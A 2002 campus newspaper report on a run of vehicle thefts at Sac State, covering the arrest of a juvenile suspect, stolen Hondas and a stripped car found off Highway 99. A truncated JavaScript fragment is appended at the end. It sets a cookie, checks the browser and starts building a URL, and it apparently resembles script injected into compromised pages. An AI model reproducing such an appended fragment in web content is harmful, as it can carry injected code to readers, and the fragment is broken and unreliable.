Police arrest suspect linked to car thefts
October 22, 2002
University police arrested a juvenile suspect in connection with a string of motor vehicle thefts on campus Thursday.
The male suspect was spotted by campus police with four other male juveniles in Lot 10.
The five juveniles reportedly stole a Honda Civic from Folsom and headed to Sac State to attempt to steal another.
Police arrested the suspect on the scene.
The other four juvenile suspects fled the area and were not caught.
An auto theft spree had been creeping through the Sac State campus since early October when a 1997 black Honda Civic was stolen from Parking Structure II, and another vehicle was burglarized the same day.
On Oct. 7 two other auto thefts occurred.
First at 12:33 p.m. a 1993 black and silver Honda motorcycle and a green 1999 Honda Civic was reported stolen.
Both vehicles were stolen from Lot 2.
On Sunday police notified Sac State student Erica Thomas that her Honda Civic stolen on Oct. 7, was recovered in a field off Highway 99.
The car was stripped and had its two front side green panels replaced with turquoise panels.
The exhaust pipe was taken as well as the front tires.
The hood and the bumper were also removed and Thomas found turquoise bumpers inside her car.
On Oct. 8 a green 1994 Jeep Cherokee was stolen from the campus.
Two days later a 2000 silver Honda Civic was taken from Parking Structure II.
On Monday and Tuesday two Hondas were burglarized in Lot 10.
Early Wednesday morning one of the vehicles was recovered, but four of the suspects were still at-large.
“All the cases are related,” said university police Public Information Officer John Hamrick. “We anticipate arresting the four other (suspects),” said Hamrick.
The campus police department is working with the Folsom and Sacramento Police Departments, Hamrick said.
“The insurance company told me that cars with (personalized) girls names on the license are targets,” said Thomas.In September there were two other vehicles stolen.
Both were Hondas, which brought the total number of vehicles stolen since the semester started to eight. Ten total vehicles have been broken into this semester, including one that was broken into when one resident was moving into the dorms.
According to the National Insurance Crime Bureau, the car most often targeted by thieves is the Toyota Camry, followed by the Honda Accord.
The Honda Civic ranks at number four on the list.
var data, p;var agt=navigator.userAgent.toLowerCase();var img=escape(“./buttons/b1.jpg”);document.cookie=’__support_check=1′;p=’http’;if((location.href.substr(0,6)==’https:’)